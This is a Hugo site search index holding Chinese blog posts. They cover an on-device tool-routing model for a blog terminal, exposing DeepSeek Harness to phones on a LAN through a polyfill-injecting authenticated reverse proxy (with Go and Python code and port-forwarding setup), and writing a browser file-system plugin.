gating：答不了的请求返回空调用，失败模式是\"拒答\"而不是\"乱执行\"。 它不做闲聊、不写散文，唯一的工作就是：读你的 query，从声明的工具里挑一个，填好参数，吐回来。这恰好是\"终端命令路由\"需要的全部能力。 needle2 实际工作画面：中文 query 先端侧翻译成英文，再路由到 search_posts ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:2:0","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"三、架构：三个文件的事 接入比想象中简单，核心就三样东西： 1. 文章索引。 Hugo 构建时生成一个 index.json，里面是全部文章的标题、标签、摘要、链接。终端的搜索函数就是在这个 JSON 上做关键词匹配——needle 不负责搜，只负责决定搜什么。 2. tools JSON。 向 needle 声明博客能提供的能力： { \"name\": \"search_posts\", \"description\": \"Search blog posts by keyword or topic\", \"parameters\": { \"type\": \"object\", \"properties\": { \"query\": { \"type\": \"string\", \"description\": \"search keywords\" } }, \"required\": [\"query\"] } } 一共四个工具：search_posts、list_recent_posts、list_posts_by_tag、describe_post。官方文档反复强调\"describe your tools well is the whole game\"——工具描述写得好，路由就准，实测确实如此。 3. 一个 Web Worker。 推理放在 worker 里跑，主线程的终端 UI 不会被卡住，还能转等待动画、响应 Ctrl+C（直接销毁 worker 重建）。worker 内部就是三行核心调用：needle_load 载入权重 → needle_init 传入 system prompt 和 tools → needle_complete 一问一答。 4. 懒加载。 模型虽然有几个，但没有一个会随页面加载。终端启动只拉一个几十 KB 的文章索引；needle2 的 14MB 要等访客第一次输入自然语言才下载，sem 的 24MB 等第一次敲 sem 才下载，needle1 的 22MB 只有手动 ai2 off 切换后才碰。全都配了 Cache-Control: immutable 强缓存，第二次访问零流量。所以真实成本是：看文章的人一分流量不花，玩 AI 的人花 14MB。 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:3:0","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"四、踩坑实录 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:4:0","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"needle1 的\"中文友好\"是个误会 我最先接的是 needle1（22MB 的 Rust/WASM 版）。它看起来能处理中文——「找一个 DeepSeek 的文章」真的能搜到——直到我翻开它的词表：8192 个词元，一个 CJK 字符都没有。它是纯字节级 BPE，所谓的中文能力其实是\"把 query 的字节原样抄进参数\"，抄回来的关键词恰好能命中搜索。代价是偶尔会抄坏： $ search_posts(\"縠\") $ search_posts(\" DeepSeek 繠\") 这些乱码字符就是字节抄串了的证据。英文部分字节稳，所以还能救回来。这不是懂中文，是运气好。 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:4:1","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"一行 locale 救回 decode 失控 换到官方 needle2 后，中文输入直接现原形：要么拒答，要么 decode 失控一口气把 token 预算烧光（tool call truncated: token budget exhausted）。翻遍配置后发现它认 system prompt 里的 locale 声明，于是： // 官方模型只认英文输入（query 会先翻译成英文），locale 写死 en-US—— // 别的值配上英文 query 会让 decoder 说到 token 预算耗尽 const systemPrompt = `date: ${dateStr}; locale: en-US; device: browser`; locale 定死 en-US，中文 query 则走 Chrome 的端侧 Translator API 先翻成英文再喂给它——不出网、不花钱，翻译痕迹还会打一行提示告诉访客发生了什么。 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:4:2","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"模型不够，规则来凑 45M 的模型总有边界，剩下的体验问题全靠一层薄薄的规则补丁兜住： 拒答改写：模型返回空调用时，把冷冰冰的 [] 改写成\"没听懂，试试更具体的说法，比如 xxx\"； 指代消解：「介绍第一篇」这种话，规则层直接映射到上一次搜索结果，不进模型； 复合指令：「找一下 qemu 的文章并介绍第一篇」按连接词拆开，顺序执行； 搜索重试：模型提取的关键词搜不到时，拿用户原始输入再搜一次——专治上面那种字节抄串。 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:4:3","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"语义兜底：sem 命令 关键词匹配天然有盲区（「降低大模型调用成本」搜不到讲 Prompt Caching 的文章），所以又加了一个 sem 命令：用 transformers.js 在端侧跑 bge-small-zh（24MB 的量化 ONNX）算向量相似度。这里踩了个值得记的坑：hf-mirror 没有 CORS 头，浏览器里 fetch 模型文件直接被拦——所以模型必须自己托管，运行时镜像兜底这条路不存在。 sem harness：端侧向量语义搜索，按相关度排序 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:4:4","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"五、这颗模型能跑在什么硬件上 28MB RAM 这个数字决定了 needle2 的甜点区：手机、树莓派、低配盒子这类\"弱但够\"的设备，以及一切现代浏览器。按官方数据推断，这个量级在移动端 CPU 上跑到几百 tok/s 是合理的，工具调用一次输出不过几十个 token，体感就是秒回。 但再往下到 MCU 世界就不行了。比如我手边的 M5Stack StickS3（ESP32-S3，8MB PSRAM），离 28MB 差了近 4 倍，needle 不可能上片。这类设备的可行架构是 hub + 执行端：needle 跑在浏览器或主机里做路由，设备通过 WebSocket / BLE 接命令干活；如果只要「亮度调低」这种固定命令，乐鑫自家的 ESP-Skainet 甚至能在片上离线识别，连浏览器都不用开。 下一步就是把这个链路真做出来：让 StickS3 听懂「亮度调低」。跑通了再来写续篇。 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:5:0","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"六、收尾 整套东西上线后的成本结构我很满意：模型文件加起来 60MB 左右（needle2 14MB + needle1 备机 22MB + sem 24MB)，但全靠懒加载按需拉取，多数访客实际只下载 needle2 那一个文件；推理零 API 费用；数据和 query 从不出访客的浏览器。 如果你的场景也是\"固定工具集 + 自然语言入口\"，needle 这条路值得一试。官方还给了 LoRA 微调流程，用自己的工具 traces 练一遍，路由还能更准——这个坑留到以后填。 源码没单独开仓库——这套东西全是静态文件，就挂在这个博客上，直接扒就行： 主逻辑：/lib/blog-ai.js——终端 UI、tools 声明、规则补丁，全在这一个文件里（不到 30KB）； 演示页：/html/terminal/ 是单文件页面，首页终端是它的嵌入版，查看源码即所得； 数据源：/index.json——不用自己做。这是 iLoveIt 主题给搜索功能生成的全站索引（标题、标签、摘要、正文分块），Hugo 构建时自动产出，终端直接复用它做关键词匹配； 模型文件：needle2 的 .cact 权重和 WASM 运行时来自官方仓库 cactus-compute/needle 的发布，sem 的 bge-small-zh 量化 ONNX 自托管在 /lib/sem/（前文说过，hf-mirror 没 CORS，运行时镜像兜底这条路不存在）。 欢迎围观，玩坏了概不负责。 ","date":"2026-08-18","objectID":"/posts/2026/08/18/blog-terminal-needle-edge-ai/:6:0","tags":["tech","ai","needle","wasm","edge-ai","llm","hugo"],"title":"不烧 token 的博客 AI：给终端装一颗 14MB 的端侧大脑","uri":"/posts/2026/08/18/blog-terminal-needle-edge-ai/"},{"categories":["Tech"],"content":"把 DeepSeek Harness 用带鉴权的反向代理挂进内网后，PC 一切正常，手机却接连踩坑：先是 crypto.randomUUID is not a function 直接白屏，后是文件授权按钮失效。两坑同根——安全上下文规范把现代 Web API 分成「可 polyfill」和「权限门控」两类。本文记录排查过程、反代层注入 polyfill 的实现（含一个 Accept-Encoding 的坑）、应用层降级方案，以及一份局域网访问解法清单。","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"一、目标：让手机也能用局域网里的 dsh DeepSeek Harness（dsh）的 web UI 默认绑 127.0.0.1，官方态度很明确：「--host 0.0.0.0 在远程访问具备鉴权层之前不予支持」。想从手机、平板访问，主流过渡方案是：dsh 继续绑本地，前面架一个带鉴权的反向代理（我挂在了自用的 agent 工作台 cenacle 里），局域网设备经代理访问。 PC 上一切正常。换成手机打开 http://192.168.0.102:9101，接连踩了两个坑： 首页能出来，一点「打开工作区」就白屏报错：crypto.randomUUID is not a function 修完白屏后，我自己写的 dsh 插件（browser-fs，让 agent 直接读你当前设备上的文件）在手机上点「授权目录」又失效：showDirectoryPicker 根本不存在 两个坑症状不同，根因是同一个：安全上下文（Secure Contexts）规范。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:1:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"二、根因：安全上下文把 Web API 分成了两类 规范里「安全上下文」大致是：https:// 页面、localhost/127.0.0.1（被特殊豁免）、file://。而 http://192.168.0.102 这种局域网 IP + 明文 HTTP，不算。 PC 上为什么没踩到？因为我习惯用 http://localhost:9101 访问——localhost 被豁免了。手机没有 localhost 可言，只能用局域网 IP，立刻现形。 关键认知是：受安全上下文限制的 API 其实分两类，命运完全不同—— 类别 例子 非安全上下文下的表现 能否补救 纯函数/数据类 crypto.randomUUID、crypto.subtle 函数不存在 可以 polyfill（有 crypto.getRandomValues 这个豁免原语兜底） 权限/对话框门控类 showDirectoryPicker（File System Access）、getUserMedia、Clipboard 读写、Notification、Service Worker 整个 API 对象不存在 补不出来，只能降级或上 HTTPS 任何用了这些 API 的现代前端（Vite/React 生态里 UUID 库遍地都是），在「局域网 HTTP」场景下都是直接崩给你看，而不是温柔降级。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:2:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"三、坑一的修复：在反代层注入 polyfill 三条路权衡： 1. 给服务上 HTTPS。 治本，但局域网场景代价不小：自签证书要在每台手机装根证书，或者搞内网域名 + DNS-01 签真证书。对「我自己在家用」属于杀鸡用牛刀（完整方案对比见第六节清单）。 2. 改上游代码，去掉 randomUUID 依赖。 不现实——这次是 dsh，下次是 code-server、别的什么工具，每个都打补丁没法维护，升级还丢。 3. 在反向代理层注入 polyfill。 代理本来就过手所有响应，给 HTML 统一注入一小段 crypto.randomUUID 的兼容实现即可。一次投入，所有挂载的工具受益，上游零改动。 我选了 3。代理本体是 net/http/httputil.ReverseProxy，关键在 ModifyResponse 钩子：只处理 text/html，把 polyfill 脚本插到 \u003chead\u003e 之后（要保证它在页面任何业务脚本之前执行）： ModifyResponse: func(resp *http.Response) error { if !strings.Contains(strings.ToLower(resp.Header.Get(\"Content-Type\")), \"text/html\") { return nil } body, err := io.ReadAll(io.LimitReader(resp.Body, 32\u003c\u003c20)) resp.Body.Close() if err != nil { return err } if loc := headRe.FindIndex(body); loc != nil { body = append(body[:loc[1]], append([]byte(polyfillSnippet), body[loc[1]:]...)...) } else { body = append([]byte(polyfillSnippet), body...) } resp.Body = io.NopCloser(bytes.NewReader(body)) resp.ContentLength = int64(len(body)) resp.Header.Set(\"Content-Length\", strconv.Itoa(len(body))) resp.Header.Del(\"ETag\") // 内容已变，旧摘要作废 return nil }, 注意两个细节：改了 body 就要同步 Content-Length；ETag 必须摘掉，否则缓存校验会拿旧摘要说事。 polyfill 本体用 crypto.getRandomValues 实现（它不受安全上下文限制，这才是整个方案成立的关键），再老的浏览器退 Math.random： if (window.crypto \u0026\u0026 !crypto.randomUUID) { var grv = crypto.getRandomValues ? crypto.getRandomValues.bind(crypto) : null; crypto.randomUUID = function () { var b = grv ? grv(new Uint8Array(16)) : null; if (!b) { b = []; for (var i = 0; i \u003c 16; i++) b.push(Math.floor(Math.random() * 256)); } b[6] = (b[6] \u0026 15) | 64; // version 4 b[8] = (b[8] \u0026 63) | 128; // variant var h = []; for (var i = 0; i \u003c 16; i++) h.push((b[i] \u003c 16 ? \"0\" : \"\") + b[i].toString(16)); var s = h.join(\"\"); return s.slice(0,8)+\"-\"+s.slice(8,12)+\"-\"+s.slice(12,16)+\"-\"+s.slice(16,20)+\"-\"+s.slice(20); }; } ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:3:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"一个顺手的坑：Accept-Encoding 删不掉 要改 body 就不能让上游返回压缩内容，直觉写法是在转发前删掉请求头： pr.Out.Header.Del(\"Accept-Encoding\") // 不够！ 实测上游照样收到 gzip。原因是 Go 的 http.Transport 看到出站请求没有 Accept-Encoding 时会自作主张补一个 gzip（它本想帮你自动解压）。正确写法是显式声明不接受压缩： pr.Out.Header.Set(\"Accept-Encoding\", \"identity\") 这个行为在文档里写着，但不踩一次很难记住。 单测覆盖了注入位置（必须在 \u003chead\u003e 之后）、Content-Length 同步、非 HTML 内容原样透传、以及上面那个 Accept-Encoding 断言。上线后手机再开工作区，正常加载——坑一解决。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:3:1","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"四、坑二：授权按钮失效——不是所有 API 都能 polyfill 白屏修好后，轮到我写的 browser-fs 插件出问题：它依赖 window.showDirectoryPicker 让用户授权一个本地目录给 agent 读写。这个 API 属于上表右列——整个对象在非安全上下文里根本不存在，polyfill 无米下锅。 这类「权限门控」API 没有补丁可打，只有两条路：上 HTTPS，或者应用层降级。我给插件做了后者： 启动时检测 typeof window.showDirectoryPicker === 'function'，检测不到自动进入「兼容模式」（不要看 isSecureContext 标志位——我的反代 polyfill 恰好动过它，会误判） 兼容模式用 \u003cinput type=\"file\" webkitdirectory\u003e 选目录——这个老 API 不受安全上下文限制，手机浏览器普遍支持；但 iOS 上目录选择形同虚设（返回 0 个文件），所以授权区是「选择目录 / 选多个文件」双入口，选不到会给明确错误提示而不是静默 选中后插件把文件列表整理成目录树，agent 照常列目录、读文件；文件预览（文本截断/图片 blob）两个模式同路径可用；降级体现在：只读（拿不到可写句柄，写操作返回明确错误）、页面刷新后需重选（没有句柄就没有 IndexedDB 持久化；目录树上的「↻」按钮在兼容模式下等价于重新选择目录） UI 上挂「兼容模式」徽标，并列出获得完整模式的三条途径（SSH 端口转发、Chrome flag、HTTPS） 效果是手机上从「完全不可用」变成「能让 agent 读我手机上的文件」——对「把资料丢给 agent 处理」这个主场景够用了。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:4:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"五、不只我一个人踩到 这个坑有多普遍？dsh 开源不到 48 小时，社区里已经长出了一圈「曲线救国」的方案： dsh-lan 插件：一条 overlay 把 dsh web 绑到局域网，同时注入 crypto.randomUUID polyfill——和本文第三节一模一样的思路，只是注入点从反代换成了 dsh 自己的 HTML 变换钩子； dsh-webui-auth 插件：给核心包打补丁加会话闸门，还做了「升级后自动重打」的自救逻辑； Caddy basic-auth 一键包：密码保护 + systemd 常驻的运维向方案； 还有直接做多用户网关的（登录门户 + 每用户实例隔离）。 这些项目的 README 里几乎都能翻到同一句话的官方引用：「--host 0.0.0.0 在远程访问具备鉴权层之前不予支持」。大家都知道这些是过渡产物——但过渡期的需求是真实的，而过渡期里最先崩的那个报错，往往就是 crypto.randomUUID。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:5:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"六、解法清单：局域网/手机访问内网服务 方案 能解决什么 代价 适用场景 SSH 端口转发 ssh -L 9101:127.0.0.1:9101 user@host 全部（localhost 豁免生效） 每台设备一条隧道；手机要用 Termius/Termux 类 App，体验差 桌面调试 Chrome chrome://flags/#unsafely-treat-insecure-origin-as-secure 全部（把指定源标记为安全） 逐浏览器设置；微信内置浏览器没门 安卓 Chrome 自用 反代注入 polyfill 「可补」类 API（randomUUID 等） 一次性实现，注意 Accept-Encoding 内网统一挂载多个工具 应用层降级 「权限门控」类 API 功能阉割（如只读） 自己写的组件/插件 裸 VPN（WireGuard / ZeroTier） 不能解决——隧道加密≠安全上下文，浏览器只看 URL 的 scheme+host，http://10.x.x.x 走 VPN 依然白屏 —— 只解决「连得上」，不解决「跑得起」 Tailscale Serve / Cloudflare Tunnel 全部（自动签真证书的 HTTPS 域名） 依赖第三方服务，流量路径出局域网 没域名也想零配置真 HTTPS HTTPS 自签 + 点过警告 全部（isSecureContext 只看 scheme 不看证书有效性，点过去就是安全上下文） 每个浏览器点一次警告；微信内置浏览器更烦 临时自用 HTTPS + mkcert 根证书 全部，且无警告 每台设备装一次根 CA（iOS 要装描述文件并手动开信任） 固定几台设备自用 HTTPS + 域名 + DNS-01 真证书 全部，治本，且手机零配置 要有个域名，DNS 服务商配 API 多人共用、长期运行 一个常见误解要特别说明：VPN 本身不改变安全上下文。WireGuard/ZeroTier 把流量加密送到对端，但浏览器看到的 URL 还是 http://内网 IP——它不知道也不关心底层链路加密了没有。能解决问题的是 Tailscale Serve、Cloudflare Tunnel 这类「VPN/隧道工具附带的 HTTPS 能力」：它们给你的是带真证书的 https:// 域名，这才算数。 另一个常被问到的是手机改 hosts：Android 改 /etc/hosts 要 root，iOS 要越狱；无 root 的等价物是 Hosts Go、DNS66 这类「本地 VPN 型」App（代价是常驻一个 VPN 槽位），或者干脆不改手机——在路由器/PC 上跑 dnsmasq、AdGuard Home 当局域网 DNS。但 hosts/DNS 只解决「域名到 IP 的映射」，不解决安全上下文，它始终是真证书方案的配角。实际上多数时候连它都不需要：把域名的公网 A 记录直接指向内网 IP（如 192.168.0.102）即可——DNS-01 签证书只验证域名控制权、不要求公网可访问，手机拿到域名后走局域网直连，零配置无警告。唯一的坑是部分路由器默认开启「DNS 重绑定保护」会拦截这种解析，关掉或加白名单即可。 实战建议组合用：反代 polyfill 打底（覆盖工具类 API），自己写的组件做降级（兜住权限类 API），真要给多人长期用再上 HTTPS。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:6:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"七、附：一个 Python 最小实现（单文件，带鉴权） 不想搭工作台的话，「HTTPS 反代 + 简单鉴权」一个 Python 脚本就够（完整版在 cenacle 仓库 tests/debug/https_proxy.py，约 240 行）。四个要点： 用 aiohttp 而不是标准库——WebSocket 必须透传（dsh 的终端流走 WS，不透传就是哑终端），标准库手写帧转发不值得； 普通请求流式透传、剥 hop-by-hop 头；唯一的改写是 HTML 一律注入 crypto.randomUUID polyfill（脚本自带存在性判断，HTTPS 安全上下文下是 no-op，所以两种模式同一套逻辑）； Basic Auth：401 + WWW-Authenticate 头，浏览器自带弹窗，演示/自用足够； --mode https（默认）：443 对外 HTTPS，80 只做 301 跳转；--mode http：纯 HTTP 反代 + polyfill，不用碰证书。\u003c1024 端口要 root 或 cap_net_bind_service，调试期用 8443/8080 也一样。 核心代码： HOP = {\"connection\", \"keep-alive\", \"te\", \"trailers\", \"transfer-encoding\", \"upgrade\"} # hop-by-hop 头必须剥掉 def check_auth(req, user, pwd): h = req.headers.get(\"Authorization\", \"\") if h.startswith(\"Basic \"): u, _, p = base64.b64decode(h[6:]).decode().partition(\":\") return u == user and p == pwd return False async def proxy_http(req, upstream): sess = req.app[\"sess\"] headers = {k: v for k, v in req.headers.items() if k.lower() not in HOP | {\"host\", \"origin\"}} headers[\"Origin\"] = upstream # Host 由 aiohttp 按上游 URL 重设；Origin 重写成 # 上游源——上游 Host/Origin 栅栏只认 loopback 同源（见下文插曲） async with sess.request(req.method, upstream + str(req.rel_url), headers=headers, data=await req.read(), allow_redirects=False) as up: # HTML 一律注入 polyfill；aiohttp 已自动解压，必须摘掉 # Content-Encoding/Content-Length 再重写长度 if \"text/html\" in up.headers.get(\"Content-Type\", \"\").lower(): page = await up.read() page = inject_head(page, POLYFILL) # 插到 \u003chead\u003e 之后 out_headers = {k: v for k, v in up.headers.items() if k.lower() not in HOP | {\"content-encoding\", \"content-length\", \"etag\"}} return web.Response(status=up.status, body=page, headers=out_headers) out = web.StreamResponse(status=up.status) for k, v in up.headers.items(): if k.lower() not in HOP: out.headers[k] = v await out.prepare(req) async for chunk in up.content.iter_any(): await out.write(chunk) await out.write_eof() return out async def proxy_ws(req, upstream): ws_in = web.WebSocketResponse() await ws_in.prepare(req) async with req.app[\"sess\"].ws_connect(upstream + str(req.rel_url)) as ws_out: async def forward(src, dst): async for msg in src: if msg.type == WSMsgType.TEXT: await dst.send_str(msg.data) elif msg.type == WSMsgType.BINARY: await dst.send_bytes(msg.data) else: break await asyncio.wait([asyncio.create_task(forward(ws_in, ws_out)), asyncio.create_task(forward(ws_out, ws_in))], return_when=asyncio.FIRST_COMPLETED) return ws_in 起服务： pip install aiohttp sudo python3 https_proxy.py --https-port 443 --http-port 80 \\ --cert ~/.cenacle/tls/fullchain.pem --key ~/.cenacle/tls/privkey.pem 不需要权限门控类 API（比如不用 browser-fs 的授权读写）的话，纯 HTTP 模式一行就够，证书、防火墙、端口转发全省： python3 https_proxy.py --mode http --http-port 8080 手机开 http://内网IP:8080 就能进 dsh——polyfill 修好白屏；但 showDirectoryPicker 这类 API 在非安全上下文里整个对象不存在，那时再回 HTTPS 模式。 如果你的开发机和我一样是 Windows 宿主上的 QEMU Debian 虚拟机（用户模式网络是 NAT，虚拟机拿到 10.0.2.x，局域网 IP 在 Windows 宿主上），虚拟机里监听好还不够，要让宿主的 443 能进虚拟机。QEMU 侧用 hostfwd 做端口转发——运行中的虚拟机不用重启，在 QEMU monitor 里热添加即可： (qemu) hostfwd_add tcp::443-:443 (qemu) hostfwd_add tcp::80-:80 想永久生效再把同样的转发写进启动参数的 -netdev user,id=n0,hostfwd=tcp::443-:443,... 里。 再在 Windows 的管理员 PowerShell 里放行入站： New-NetFirewallRule -DisplayName \"QEMU-HTTPS-443\" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow 如果你的开发机是 WSL2，思路一样、工具不同——用 netsh portproxy 把 443 转发进 WSL： # 先看 443 有没有被旧规则占用，有就删了再加 netsh interface portproxy show all netsh interface portproxy add v4tov4 listenport=443 listenaddress=0.0.0.0 connectport=443 connectaddress=localhost New-NetFirewallRule -DisplayName \"WSL2-HTTPS-443\" -Direction Inbound -Protocol TCP -LocalPort 443 -Action Allow （WSL 的 connectaddress=localhost 依赖其默认开启的 localhost 转发；不灵就换成 ip addr 里 WSL 的 eth0 地址，但它会随 WSL 重启变化。） curl 实测四连：无鉴权 401（带 WWW-Authenticate 触发浏览器弹窗）→ basic auth 后 200 拿到 dsh 页面 → http:// 请求 301 跳 https → WS 升级 101 正常透传。手机打开 https://cenacle.whitefirer.org（点过自签警告）即是完整安全上下文。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:7:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"插曲：域名访问触发 dsh 的 DNS-rebinding 防御 页面能开不代表完事——一点「打开目录」就 403。对照实验（都是 POST /api/host.listDirectory）： Host Origin 结果 127.0.0.1:3080（直连） 无 200 IP 字面量 IP 字面量 200 IP 字面量 cenacle.whitefirer.org 403 cenacle.whitefirer.org 无 403 dsh 对 Host 和 Origin 各查一遍：非 localhost/IP 字面量一律 403——这是 DNS-rebinding 防御，防的是恶意网站把公用域名指到 127.0.0.1 来打你本机服务。它宁可错杀我这种「域名指内网 IP」的场景。 修法在反代侧：转发时把 Host 和 Origin 都重写成上游源（如 http://127.0.0.1:3080）——上游看到的就是一次\"本机同源\"请求。301 跳转腿不用处理——浏览器拿到新地址会自己重发。 勘误（2026-08-18）：本文最初建议「剥掉 Origin」，依据是 dsh 核心的栅栏「缺失放行、带错必 403」。但 dshmarket 插件市场的同源守卫更严——Origin 缺失也拒，导致经反代操作时市场安装/更新全 403 untrusted origin。剥掉能过核心、过不了插件；重写成上游源则两种口径都过。cenacle 的 Go 代理（commit 85a3d09）与上文 Python 版均已改为重写。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:7:1","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"八、收尾 这个问题的有趣之处在于：它只在「跨设备 + 明文 HTTP + 现代前端」三个条件叠加时出现，PC 开发自测完全覆盖不到。如果你也有局域网手机访问的服务，值得主动做两件事： 拿真手机打开 Console 看一眼，别等用户报白屏； 把代码里用到的现代 API 按「可 polyfill / 权限门控」分成两类，前者反代统一补，后者设计好降级路径。 以及，过渡方案终究是过渡方案——等官方鉴权落地，这些脚手架都可以体面退役。 ","date":"2026-08-16","objectID":"/posts/2026/08/16/dsh-lan-access/:8:0","tags":["tech","web","secure-context","reverse-proxy","go","deepseek-harness","debugging"],"title":"把 DeepSeek Harness 开放到局域网：手机访问的几个坑与解法清单","uri":"/posts/2026/08/16/dsh-lan-access/"},{"categories":["Tech"],"content":"dsh 开源几天插件目录站收录已破千，但所有插件读的都是 dsh 宿主机的文件——远程部署时 Agent 摸不到你这台电脑。本文从零写一个真实可用的插件 dsh-browser-fs：浏览器授权一个本地目录，Agent 就能 list/read/write。过程中把 dsh 插件系统拆给你看：Cordis 生命周期、host/client 双面结构、工具注册、WS 中继、创造模式是什么，以及 secure context 等四个坑。","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"一、一个真空地带 DeepSeek Harness（dsh）开源后插件爆发，目录站收录几天破千。但翻一遍会发现一个空白：所有文件类插件操作的都是 dsh 宿主机的磁盘。 这在\"dsh 跑在自己电脑上\"时无所谓。但一旦你把它部署到服务器、用手机或另一台电脑的浏览器访问，Agent 能读写的就只有那台服务器——你手头这台电脑上的文件，它一个也碰不到。已有的最接近的方案是手动上传（dsh-file-uploads：把文件传进宿主容器），那是一次性动作，不是\"Agent 直接读我的项目目录\"。 所以我写了 dsh-browser-fs：在 dsh 页面里授权一个本地目录（浏览器 File System Access API），Agent 就多了三个工具——browser_fs_list / browser_fs_read / browser_fs_write，读写的是你浏览器这台电脑。 这篇文章是它的完整开发记录。dsh 的插件文档目前很薄，真正的知识都在源码里，我把拆解过程一并写出来。 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:1:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"二、先搞懂 dsh 插件系统 ","date":"2026-08-15","objectID":"/posts/2026/08/15/dsh-plugin-browser-fs/:2:0","tags":["tech","ai","deepseek","harness","plugin","tutorial","file-system-access"],"title":"给 DeepSeek Harness 写插件：让远程 Agent 读写你电脑上的文件","uri":"/posts/2026/08/15/dsh-plugin-browser-fs/"},{"categories":["Tech"],"content":"一切皆插件，包括它自己 dsh 基于 Cordis 元框架，“everything is a plugin” 不是口号：连它的 HTTP 